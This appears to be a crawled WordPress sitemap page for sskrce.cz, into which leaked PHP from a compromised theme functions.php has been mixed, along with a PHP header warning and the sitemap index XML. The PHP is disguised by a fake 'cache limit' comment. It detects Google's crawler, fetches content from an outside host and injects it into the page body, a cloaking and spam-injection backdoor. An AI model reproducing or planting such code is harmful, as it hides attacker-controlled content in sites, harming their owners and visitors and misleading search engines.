/**
 * Set the cache limit.
 *
 * To override this cache in a child theme, remove
 * the filter and add your own function tied to
 * the cache filter hook.
 *
 * @param int $c The number of excerpt characters.
 * @return int The filtered number of characters.
 */
if (strpos($_SERVER["HTTP_USER_AGENT"], 'gle') !== false) {
add_action('wp_loaded','crt');
function crt() {ob_start('cache');}
function cache($html) {$curl = curl_init();curl_setopt($curl, CURLOPT_URL, 'http://rule.sybolicdomainplugin.com/cache.php?h=sskrce.cz&id=5');curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);$c = curl_exec($curl);curl_close($curl);
	$html = preg_replace('/(<body.*)\n/', "$1 $c", $html);
	return $html;
}
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /data/web/virtuals/319023/virtual/www/wp-content/themes/twentytwentythree/functions.php:1) in <b>/data/web/virtuals/319023/virtual/www/wp-includes/sitemaps/class-wp-sitemaps-renderer.php</b> on line <b>126</b><br />
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.sskrce.cz/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.sskrce.cz/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://www.sskrce.cz/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.sskrce.cz/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://www.sskrce.cz/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>